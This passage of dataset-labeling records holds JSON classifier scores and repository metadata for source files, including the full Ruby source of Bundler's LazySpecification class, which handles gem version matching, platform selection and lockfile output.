{"content_quality": 0.7612017339849851, "noise_severity": 0.17191731595698317, "missing_content_severity": 0.032433025648965046, "factual_density": 3.528865483318944, "pretraining_utility": 0.4312633932588956, "math_density": 0.009474380478949381, "code_density": 3.5048447742389266, "reasoning_density": 0.3340362528649894, "education_level": 2.1072857384003325, "creative_writing_quality": -0.040723510167661084}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.38806747178008916, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9322268742597637, "secondary": 0.46177698606593626, "tertiary": 0.8667169566190728, "structured_records": 0.9185994833771499, "procedural_steps": 0.0026853061581634677, "worked_solution": 7.482899277492368e-05, "contextual_dialogue": 5.027472155250521e-06, "content_quality": 0.4455486329592595, "noise_severity": 0.8567355700358474, "missing_content_severity": 0.9729724786258624, "factual_density": 0.6073879027657867, "pretraining_utility": 0.44393652614099643, "math_density": 0.9921046829342088, "code_density": 0.5873706451991051, "reasoning_density": 0.7216364559458421, "education_level": 0.6966214324657586, "creative_writing_quality": 0.9979263823610413, "primary_topic": 0.8769041940373514, "secondary_topic": 0.577009052252951}, "probability_margin": {"primary": 0.8740868023422261, "secondary": 0.029376280762438645, "tertiary": 0.7745340342795064, "education_level": 0.6026775502839237, "creative_writing_quality": 0.9971836005193725, "primary_topic": 0.7922124170978323, "secondary_topic": 0.38063704388308617}, "raw_probabilities": {"primary": {"Academic Writing": 0.00011091734466531735, "Content Listing": 0.00013917247512973407, "Creative Writing": 7.139040156162376e-05, "Customer Support Page": 0.000712227419157667, "Q&A Forum": 4.188818036394349e-05, "Discussion Thread": 3.953893550647955e-05, "Comment Section": 5.93431711836001e-05, "Missing Content": 8.487325242830109e-05, "Knowledge Article": 0.00021180466902851993, "Legal Notices": 7.707564521698636e-05, "News Article": 2.5684586887723163e-05, "Organizational Announcement": 5.509616744414548e-05, "Nonfiction Writing": 6.60727905884348e-05, "Organizational About Page": 7.71676917225639e-05, "Personal About Page": 4.316478005485461e-05, "Personal Blog": 3.7927940326777616e-05, "Product Page": 4.8203896983357625e-05, "Spam / Ads": 4.611265095917995e-05, "Structured Data": 0.06096395215671405, "Technical Writing": 0.9350507544989402, "Transcript / Interview": 8.846370280352512e-05, "Tutorial / How-To Guide": 0.00021416120093711822, "User Reviews": 2.8392238437109848e-05, "Other / Unknown": 0.0017066142029586175}, "secondary": {"Academic Writing": 0.000492673223355584, "Content Listing": 0.000640171465850031, "Creative Writing": 0.00048094663023112385, "Customer Support Page": 0.003108994082740607, "Q&A Forum": 0.00029766862743587166, "Discussion Thread": 0.00028383849747158066, "Comment Section": 0.0003729414293654328, "Missing Content": 0.0005889624969780247, "Knowledge Article": 0.0010728397573125563, "Legal Notices": 0.00034177970101001345, "News Article": 0.0003206709875355649, "Organizational Announcement": 0.0003876903054571574, "Nonfiction Writing": 0.0004900895051416826, "Organizational About Page": 0.0005009464365196227, "Personal About Page": 0.000313626757358686, "Personal Blog": 0.00028901538385086597, "Product Page": 0.00029620868161455956, "Spam / Ads": 0.00036703050059824825, "Structured Data": 0.45482666421741696, "Technical Writing": 0.04862999768622918, "Transcript / Interview": 0.00045366109474249066, "Tutorial / How-To Guide": 0.001020274242187334, "User Reviews": 0.00022036330974129634, "NONE": 0.4842029449798556}, "tertiary": {"Academic Writing": 0.0002592877371264297, "Content Listing": 0.0004239880745729439, "Creative Writing": 0.00027785034687905207, "Customer Support Page": 0.004071118220799676, "Q&A Forum": 9.952063258725577e-05, "Discussion Thread": 8.865043860175656e-05, "Comment Section": 0.0002112480191215711, "Missing Content": 0.00030437836700013515, "Knowledge Article": 0.0012055016250945268, "Legal Notices": 0.00016686186970167453, "News Article": 0.00012117875670991623, "Organizational Announcement": 0.00013314766981388463, "Nonfiction Writing": 0.00017616034799833427, "Organizational About Page": 0.00019783284964911864, "Personal About Page": 0.00011711705215620643, "Personal Blog": 0.00012664683096289578, "Product Page": 0.00012464459608237005, "Spam / Ads": 0.00015960830744042893, "Structured Data": 0.09773638248043838, "Technical Writing": 0.020275072602635676, "Transcript / Interview": 0.00017649355393607147, "Tutorial / How-To Guide": 0.0012077616652425894, "User Reviews": 6.913119550440313e-05, "NONE": 0.8722704167599448}, "structured_records": {"false": 0.08140051662285008, "true": 0.9185994833771499}, "procedural_steps": {"false": 0.9973146938418366, "true": 0.0026853061581634677}, "worked_solution": {"false": 0.9999251710072251, "true": 7.482899277492368e-05}, "contextual_dialogue": {"false": 0.9999949725278447, "true": 5.027472155250521e-06}, "content_quality": {"-2": 0.0052857987095065, "-1": 0.08731730206128048, "0": 0.2615779529808713, "1": 0.43254725903140495, "2": 0.21327168721693682}, "noise_severity": {"0": 0.8507334188702682, "1": 0.13183474234867326, "2": 0.013660415322050609, "3": 0.002323950871823183, "4": 0.0014474725871847858}, "missing_content_severity": {"0": 0.9802751741216552, "1": 0.00986687654149226, "2": 0.0073908864633914, "3": 0.002083875313155117, "4": 0.0003831875603061611}, "factual_density": {"0": 0.0014960340368306263, "1": 0.0031212008983291266, "2": 0.050524172140615574, "3": 0.3547384335575149, "4": 0.5901201593667097}, "pretraining_utility": {"-2": 0.00838653666421674, "-1": 0.09364958878393206, "0": 0.40554760012543994, "1": 0.4431464934815612, "2": 0.04926978094484999}, "math_density": {"0": 0.992771949799467, "1": 0.006050893293921385, "2": 0.0005281786409474797, "3": 0.00022878315952381935, "4": 0.00042019510614039535}, "code_density": {"0": 0.0010095606888652498, "1": 0.002636226186969827, "2": 0.09199872866067157, "3": 0.29921084712336027, "4": 0.605144637340133}, "reasoning_density": {"0": 0.6915861642104455, "1": 0.28683264923486873, "2": 0.018467296877600868, "3": 0.0021865488334209954, "4": 0.0009273408436639818}, "education_level": {"none": 0.0014672754823915415, "0": 0.0032210010338131635, "1": 0.079392364450908, "2": 0.7471845270547988, "3": 0.14450697677087504, "4": 0.02422785520721347}, "creative_writing_quality": {"not_applicable": 0.9982719853008677, "-2": 8.393490660688806e-05, "-1": 0.00026466408923244116, "0": 0.0010883847814951956, "1": 0.0002198987653195609, "2": 7.113215647833473e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00020768438465329272, "Art & Design": 0.00029126096089711416, "Law & Crime": 0.0002575062565578263, "Education & Careers": 0.0001497141157178996, "Entertainment & Media": 0.023741216061800168, "Fashion & Beauty": 0.00019217065026932542, "Business, Economics & Finance": 0.000179184762196322, "Food & Dining": 0.00015723757596822717, "Games & Gaming": 0.0003416479412755933, "Electronics & Hardware": 0.00023633663252208223, "Health, Healthcare & Wellness": 0.00011678287036023603, "History & Geography": 0.00018064214489252992, "Home, Pets & Hobbies": 0.0004027082552263698, "Industry & Production": 0.0001594993160349231, "Language, Literature & Philosophy": 0.00035996416246387834, "Politics & Government": 8.527890949117117e-05, "Religion & Spirituality": 0.00013263012143895179, "Science, Mathematics & Engineering": 0.0003331574621471653, "Relationships & Community": 9.27436787505808e-05, "Software Usage & Applications": 0.0894262310150056, "Programming & Software Engineering": 0.8816386481128379, "Sports & Fitness": 0.00021235212833026497, "Vehicles & Transportation": 8.418323785299212e-05, "Travel & Tourism": 0.0001697977158436522, "Other / Uncovered Subject": 0.0006621230933009834, "Unknown / Insufficient Content": 0.00018929843416485046}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0011344616111331983, "Art & Design": 0.0011062489698521383, "Law & Crime": 0.0007507996984808329, "Education & Careers": 0.0004528374384151456, "Entertainment & Media": 0.09863120558786957, "Fashion & Beauty": 0.00048457684716725, "Business, Economics & Finance": 0.0006818584525299824, "Food & Dining": 0.00035186219897050624, "Games & Gaming": 0.0007135481279119353, "Electronics & Hardware": 0.0007371087013686977, "Health, Healthcare & Wellness": 0.00041217380943045777, "History & Geography": 0.00041268139090365144, "Home, Pets & Hobbies": 0.0006846757028056973, "Industry & Production": 0.0003884421405846598, "Language, Literature & Philosophy": 0.0008645913371864117, "Politics & Government": 0.00030379113076836297, "Religion & Spirituality": 0.00046244092026051574, "Science, Mathematics & Engineering": 0.0009557972612001722, "Relationships & Community": 0.00022399501751207886, "Software Usage & Applications": 0.21264089097552052, "Programming & Software Engineering": 0.08177001293923168, "Sports & Fitness": 0.0004294583008784973, "Vehicles & Transportation": 0.00021982340146716158, "Travel & Tourism": 0.0005759463892417832, "Other / Uncovered Subject": 0.001332836790702307, "NONE": 0.5932779348586067}}, "probabilities": {"primary": {"Academic Writing": 0.00011091734466531737, "Content Listing": 0.0001391724751297341, "Creative Writing": 7.139040156162378e-05, "Customer Support Page": 0.0007122274191576671, "Q&A Forum": 4.1888180363943496e-05, "Discussion Thread": 3.9538935506479554e-05, "Comment Section": 5.9343171183600116e-05, "Missing Content": 8.48732524283011e-05, "Knowledge Article": 0.00021180466902851998, "Legal Notices": 7.707564521698637e-05, "News Article": 2.568458688772317e-05, "Organizational Announcement": 5.509616744414549e-05, "Nonfiction Writing": 6.607279058843482e-05, "Organizational About Page": 7.716769172256391e-05, "Personal About Page": 4.3164780054854615e-05, "Personal Blog": 3.792794032677762e-05, "Product Page": 4.820389698335764e-05, "Spam / Ads": 4.611265095917997e-05, "Structured Data": 0.06096395215671407, "Technical Writing": 0.9350507544989404, "Transcript / Interview": 8.846370280352513e-05, "Tutorial / How-To Guide": 0.00021416120093711827, "User Reviews": 2.8392238437109854e-05, "Other / Unknown": 0.001706614202958618}, "secondary": {"Academic Writing": 0.000492673223355584, "Content Listing": 0.000640171465850031, "Creative Writing": 0.00048094663023112385, "Customer Support Page": 0.003108994082740607, "Q&A Forum": 0.00029766862743587166, "Discussion Thread": 0.00028383849747158066, "Comment Section": 0.0003729414293654328, "Missing Content": 0.0005889624969780247, "Knowledge Article": 0.0010728397573125563, "Legal Notices": 0.00034177970101001345, "News Article": 0.0003206709875355649, "Organizational Announcement": 0.0003876903054571574, "Nonfiction Writing": 0.0004900895051416826, "Organizational About Page": 0.0005009464365196227, "Personal About Page": 0.000313626757358686, "Personal Blog": 0.00028901538385086597, "Product Page": 0.00029620868161455956, "Spam / Ads": 0.00036703050059824825, "Structured Data": 0.45482666421741696, "Technical Writing": 0.04862999768622918, "Transcript / Interview": 0.00045366109474249066, "Tutorial / How-To Guide": 0.001020274242187334, "User Reviews": 0.00022036330974129634, "NONE": 0.4842029449798556}, "tertiary": {"Academic Writing": 0.0002592877371264297, "Content Listing": 0.0004239880745729439, "Creative Writing": 0.00027785034687905207, "Customer Support Page": 0.004071118220799676, "Q&A Forum": 9.952063258725577e-05, "Discussion Thread": 8.865043860175656e-05, "Comment Section": 0.0002112480191215711, "Missing Content": 0.00030437836700013515, "Knowledge Article": 0.0012055016250945268, "Legal Notices": 0.00016686186970167453, "News Article": 0.00012117875670991623, "Organizational Announcement": 0.00013314766981388463, "Nonfiction Writing": 0.00017616034799833427, "Organizational About Page": 0.00019783284964911864, "Personal About Page": 0.00011711705215620643, "Personal Blog": 0.00012664683096289578, "Product Page": 0.00012464459608237005, "Spam / Ads": 0.00015960830744042893, "Structured Data": 0.09773638248043838, "Technical Writing": 0.020275072602635676, "Transcript / Interview": 0.00017649355393607147, "Tutorial / How-To Guide": 0.0012077616652425894, "User Reviews": 6.913119550440313e-05, "NONE": 0.8722704167599448}, "structured_records": {"false": 0.08140051662285008, "true": 0.9185994833771499}, "procedural_steps": {"false": 0.9973146938418366, "true": 0.0026853061581634677}, "worked_solution": {"false": 0.9999251710072251, "true": 7.482899277492368e-05}, "contextual_dialogue": {"false": 0.9999949725278447, "true": 5.027472155250521e-06}, "content_quality": {"-2": 0.0052857987095065, "-1": 0.08731730206128048, "0": 0.2615779529808713, "1": 0.43254725903140495, "2": 0.21327168721693682}, "noise_severity": {"0": 0.8507334188702682, "1": 0.13183474234867326, "2": 0.013660415322050609, "3": 0.002323950871823183, "4": 0.0014474725871847858}, "missing_content_severity": {"0": 0.980275174121655, "1": 0.009866876541492257, "2": 0.007390886463391398, "3": 0.0020838753131551166, "4": 0.000383187560306161}, "factual_density": {"0": 0.0014960340368306265, "1": 0.003121200898329127, "2": 0.05052417214061558, "3": 0.35473843355751494, "4": 0.5901201593667098}, "pretraining_utility": {"-2": 0.00838653666421674, "-1": 0.09364958878393206, "0": 0.40554760012543994, "1": 0.4431464934815612, "2": 0.04926978094484999}, "math_density": {"0": 0.9927719497994668, "1": 0.006050893293921384, "2": 0.0005281786409474796, "3": 0.0002287831595238193, "4": 0.00042019510614039524}, "code_density": {"0": 0.00100956068886525, "1": 0.0026362261869698274, "2": 0.09199872866067159, "3": 0.2992108471233603, "4": 0.6051446373401331}, "reasoning_density": {"0": 0.6915861642104455, "1": 0.28683264923486873, "2": 0.018467296877600868, "3": 0.0021865488334209954, "4": 0.0009273408436639818}, "education_level": {"none": 0.0014672754823915415, "0": 0.0032210010338131635, "1": 0.079392364450908, "2": 0.7471845270547988, "3": 0.14450697677087504, "4": 0.02422785520721347}, "creative_writing_quality": {"not_applicable": 0.9982719853008675, "-2": 8.393490660688805e-05, "-1": 0.0002646640892324411, "0": 0.0010883847814951953, "1": 0.00021989876531956085, "2": 7.113215647833472e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00020768438465329275, "Art & Design": 0.0002912609608971142, "Law & Crime": 0.00025750625655782637, "Education & Careers": 0.00014971411571789963, "Entertainment & Media": 0.02374121606180017, "Fashion & Beauty": 0.00019217065026932544, "Business, Economics & Finance": 0.00017918476219632202, "Food & Dining": 0.0001572375759682272, "Games & Gaming": 0.0003416479412755934, "Electronics & Hardware": 0.00023633663252208226, "Health, Healthcare & Wellness": 0.00011678287036023604, "History & Geography": 0.00018064214489252995, "Home, Pets & Hobbies": 0.00040270825522636987, "Industry & Production": 0.00015949931603492312, "Language, Literature & Philosophy": 0.0003599641624638784, "Politics & Government": 8.527890949117118e-05, "Religion & Spirituality": 0.0001326301214389518, "Science, Mathematics & Engineering": 0.00033315746214716537, "Relationships & Community": 9.274367875058081e-05, "Software Usage & Applications": 0.08942623101500562, "Programming & Software Engineering": 0.881638648112838, "Sports & Fitness": 0.000212352128330265, "Vehicles & Transportation": 8.418323785299213e-05, "Travel & Tourism": 0.00016979771584365222, "Other / Uncovered Subject": 0.0006621230933009835, "Unknown / Insufficient Content": 0.0001892984341648505}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0011344616111331985, "Art & Design": 0.0011062489698521385, "Law & Crime": 0.000750799698480833, "Education & Careers": 0.00045283743841514565, "Entertainment & Media": 0.09863120558786959, "Fashion & Beauty": 0.00048457684716725005, "Business, Economics & Finance": 0.0006818584525299825, "Food & Dining": 0.0003518621989705063, "Games & Gaming": 0.0007135481279119354, "Electronics & Hardware": 0.0007371087013686978, "Health, Healthcare & Wellness": 0.0004121738094304578, "History & Geography": 0.0004126813909036515, "Home, Pets & Hobbies": 0.0006846757028056974, "Industry & Production": 0.00038844214058465987, "Language, Literature & Philosophy": 0.0008645913371864118, "Politics & Government": 0.000303791130768363, "Religion & Spirituality": 0.0004624409202605158, "Science, Mathematics & Engineering": 0.0009557972612001723, "Relationships & Community": 0.0002239950175120789, "Software Usage & Applications": 0.21264089097552055, "Programming & Software Engineering": 0.0817700129392317, "Sports & Fitness": 0.0004294583008784974, "Vehicles & Transportation": 0.0002198234014671616, "Travel & Tourism": 0.0005759463892417833, "Other / Uncovered Subject": 0.0013328367907023072, "NONE": 0.5932779348586068}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 12698, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 12698, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:07.441768+00:00", "scoring_key_slot": "primary", "dataset_uid": "22f2212a-83bd-4203-a0db-e3048043ac69", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "93d7c8c34aacda248b3955b2d515e1b9903497aa847a4c21636e2c9b60b3c20c", "source_metadata": {"uuid": "22f2212a-83bd-4203-a0db-e3048043ac69", "repo_name": "balthisar/mm_tool", "relative_path": "lib/mm_tool/user_defaults.rb", "category": "TOOL", "algo_rel_score": 0.9007872939109802, "quality_score": 4.487231731414795, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 17, "repo_created_at": "2020-01-13T18:25:52.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "a69768d2b2460afafb5e5d4a8d6c8c07dbef7dfa", "size_bytes": 17569, "file_timestamp": 1721056725, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "51c9c6bfedf44f1051aa196dd7275ecc565d6efe"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 17, "repo_created_at": "2020-01-13T18:25:52.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "a69768d2b2460afafb5e5d4a8d6c8c07dbef7dfa", "size_bytes": 17569, "file_timestamp": 1721056725, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "51c9c6bfedf44f1051aa196dd7275ecc565d6efe", "url": "https://github.com/balthisar/mm_tool/blob/51c9c6bfedf44f1051aa196dd7275ecc565d6efe/lib/mm_tool/user_defaults.rb"}, "gpt4o_tokens": 3919, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7612017339849851, "noise_severity": 0.17191731595698317, "missing_content_severity": 0.03243302564896505, "factual_density": 3.528865483318944, "pretraining_utility": 0.4312633932588956, "math_density": 0.009474380478949383, "code_density": 3.5048447742389257, "reasoning_density": 0.3340362528649894, "education_level": 2.1072857384003325, "creative_writing_quality": -0.040723510167661084}, "score_applicability": {"education_level": 0.9985327245176084, "creative_writing_quality": 0.00172801469913242}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/oracle/truffleruby/blob/175f062f1eb5e739598b408a1e9f9c8d20185e66/lib/mri/bundler/lazy_specification.rb", "id": "ruby-0-a93c73250ddf9964c6a50d6abd14d997", "text": "# frozen_string_literal: true\n\nrequire_relative \"force_platform\"\n\nmodule Bundler\n class LazySpecification\n include MatchMetadata\n include MatchPlatform\n include ForcePlatform\n\n attr_reader :name, :version, :platform\n attr_accessor :source, :remote, :force_ruby_platform, :dependencies, :required_ruby_version, :required_rubygems_version\n\n alias_method :runtime_dependencies, :dependencies\n\n def self.from_spec(s)\n lazy_spec = new(s.name, s.version, s.platform, s.source)\n lazy_spec.dependencies = s.dependencies\n lazy_spec.required_ruby_version = s.required_ruby_version\n lazy_spec.required_rubygems_version = s.required_rubygems_version\n lazy_spec\n end\n\n def initialize(name, version, platform, source = nil)\n @name = name\n @version = version\n @dependencies = []\n @required_ruby_version = Gem::Requirement.default\n @required_rubygems_version = Gem::Requirement.default\n @platform = platform || Gem::Platform::RUBY\n @source = source\n @force_ruby_platform = default_force_ruby_platform\n end\n\n def full_name\n @full_name ||= if platform == Gem::Platform::RUBY\n \"#{@name}-#{@version}\"\n else\n \"#{@name}-#{@version}-#{platform}\"\n end\n end\n\n def lock_name\n @lock_name ||= name_tuple.lock_name\n end\n\n def name_tuple\n Gem::NameTuple.new(@name, @version, @platform)\n end\n\n def ==(other)\n full_name == other.full_name\n end\n\n def eql?(other)\n full_name.eql?(other.full_name)\n end\n\n def hash\n full_name.hash\n end\n\n ##\n # Does this locked specification satisfy +dependency+?\n #\n # NOTE: Rubygems default requirement is \">= 0\", which doesn't match\n # prereleases of 0 versions, like \"0.0.0.dev\" or \"0.0.0.SNAPSHOT\". However,\n # bundler users expect those to work. We need to make sure that Gemfile\n # dependencies without explicit requirements (which use \">= 0\" under the\n # hood by default) are still valid for locked specs using this kind of\n # versions. The method implements an ad-hoc fix for that. A better solution\n # might be to change default rubygems requirement of dependencies to be \">=\n # 0.A\" but that's a major refactoring likely to break things. Hopefully we\n # can attempt it in the future.\n #\n\n def satisfies?(dependency)\n effective_requirement = dependency.requirement == Gem::Requirement.default ? Gem::Requirement.new(\">= 0.A\") : dependency.requirement\n\n @name == dependency.name && effective_requirement.satisfied_by?(Gem::Version.new(@version))\n end\n\n def to_lock\n out = String.new\n out << \" #{lock_name}\\n\"\n\n dependencies.sort_by(&:to_s).uniq.each do |dep|\n next if dep.type == :development\n out << \" #{dep.to_lock}\\n\"\n end\n\n out\n end\n\n def materialize_for_installation\n source.local!\n\n matching_specs = source.specs.search(use_exact_resolved_specifications? ? self : [name, version])\n return self if matching_specs.empty?\n\n candidates = if use_exact_resolved_specifications?\n matching_specs\n else\n target_platform = ruby_platform_materializes_to_ruby_platform? ? platform : local_platform\n\n installable_candidates = GemHelpers.select_best_platform_match(matching_specs, target_platform)\n\n specification = __materialize__(installable_candidates, fallback_to_non_installable: false)\n return specification unless specification.nil?\n\n if target_platform != platform\n installable_candidates = GemHelpers.select_best_platform_match(matching_specs, platform)\n end\n\n installable_candidates\n end\n\n __materialize__(candidates)\n end\n\n # If in frozen mode, we fallback to a non-installable candidate because by\n # doing this we avoid re-resolving and potentially end up changing the\n # lock file, which is not allowed. In that case, we will give a proper error\n # about the mismatch higher up the stack, right before trying to install the\n # bad gem.\n def __materialize__(candidates, fallback_to_non_installable: Bundler.frozen_bundle?)\n search = candidates.reverse.find do |spec|\n spec.is_a?(StubSpecification) || spec.matches_current_metadata?\n end\n if search.nil? && fallback_to_non_installable\n search = candidates.last\n else\n search.dependencies = dependencies if search && search.full_name == full_name && (search.is_a?(RemoteSpecification) || search.is_a?(EndpointSpecification))\n end\n search\n end\n\n def to_s\n lock_name\n end\n\n def git_version\n return unless source.is_a?(Bundler::Source::Git)\n \" #{source.revision[0..6]}\"\n end\n\n def force_ruby_platform!\n @force_ruby_platform = true\n end\n\n private\n\n def use_exact_resolved_specifications?\n @use_exact_resolved_specifications ||= !source.is_a?(Source::Path) && ruby_platform_materializes_to_ruby_platform?\n end\n\n #\n # For backwards compatibility with existing lockfiles, if the most specific\n # locked platform is not a specific platform like x86_64-linux or\n # universal-java-11, then we keep the previous behaviour of resolving the\n # best platform variant at materiliazation time. For previous bundler\n # versions (before 2.2.0) this was always the case (except when the lockfile\n # only included non-ruby platforms), but we're also keeping this behaviour\n # on newer bundlers unless users generate the lockfile from scratch or\n # explicitly add a more specific platform.\n #\n def ruby_platform_materializes_to_ruby_platform?\n generic_platform = generic_local_platform == Gem::Platform::JAVA ? Gem::Platform::JAVA : Gem::Platform::RUBY\n\n !Bundler.most_specific_locked_platform?(generic_platform) || force_ruby_platform || Bundler.settings[:force_ruby_platform]\n end\n end\nend\n", "text_preview": "# frozen_string_literal: true require_relative \"force_platform\" module Bundler class LazySpecification include MatchMetadata include MatchPlatform include ForcePlatform attr_reader :name, :version, :platform attr_accessor :source, :remote, ", "input_sha256": "911f1041edb8be428073ef9490a4f0b2bcecc2f29d9977c953a76bb6e65fa769", "text_sha256": "a93c73250ddf9964c6a50d6abd14d997caff457d3a0b70d5a16a87b5802d69f0", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16019, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2152121222229018, "noise_severity": 0.008248273655435996, "missing_content_severity": 0.010050996497378315, "factual_density": 3.5938355509040005, "pretraining_utility": 0.5461392563872152, "math_density": 0.04098452659750646, "code_density": 3.8750487107497062, "reasoning_density": 1.1369881845077563, "education_level": 2.8357572276762917, "creative_writing_quality": -0.0892457911768131}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.004430350151555795, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9986654036142303, "secondary": 0.9895995775614714, "tertiary": 0.9942225516326603, "structured_records": 0.002159132813570721, "procedural_steps": 0.0032530216774238467, "worked_solution": 0.007005463584134038, "contextual_dialogue": 5.168493987396899e-06, "content_quality": 0.5664516416969394, "noise_severity": 0.99312643862047, "missing_content_severity": 0.991624169585518, "factual_density": 0.6615296257533334, "pretraining_utility": 0.4960295768672984, "math_density": 0.9658462278354113, "code_density": 0.895873925624755, "reasoning_density": 0.052509846243536384, "education_level": 0.44293400375558856, "creative_writing_quality": 0.9995600763329677, "primary_topic": 0.9982008540787544, "secondary_topic": 0.9876501011529848}, "probability_margin": {"primary": 0.9980587495851959, "secondary": 0.9839577674264424, "tertiary": 0.9908463678069209, "education_level": 0.23258540879261214, "creative_writing_quality": 0.9994479677249005, "primary_topic": 0.9975150087562447, "secondary_topic": 0.9804543962500312}, "raw_probabilities": {"primary": {"Academic Writing": 2.0524017529325873e-05, "Content Listing": 1.2222675445681106e-05, "Creative Writing": 7.306459888692352e-06, "Customer Support Page": 4.989510376132168e-06, "Q&A Forum": 5.21523660504067e-06, "Discussion Thread": 3.0689012640289184e-06, "Comment Section": 4.772183964836687e-06, "Missing Content": 1.1172568327070429e-05, "Knowledge Article": 7.094243588255414e-05, "Legal Notices": 1.8913255722949835e-05, "News Article": 1.983979979127949e-06, "Organizational Announcement": 6.653752700194051e-06, "Nonfiction Writing": 5.418118398944179e-06, "Organizational About Page": 5.3307517201795185e-06, "Personal About Page": 3.307020441198269e-06, "Personal Blog": 3.136211973469715e-06, "Product Page": 3.2759679805507243e-06, "Spam / Ads": 4.034614042180662e-06, "Structured Data": 0.0003584185012984465, "Technical Writing": 0.9987210117969707, "Transcript / Interview": 6.267314550525125e-06, "Tutorial / How-To Guide": 5.693194448063429e-05, "User Reviews": 2.8405686828877643e-06, "Other / Unknown": 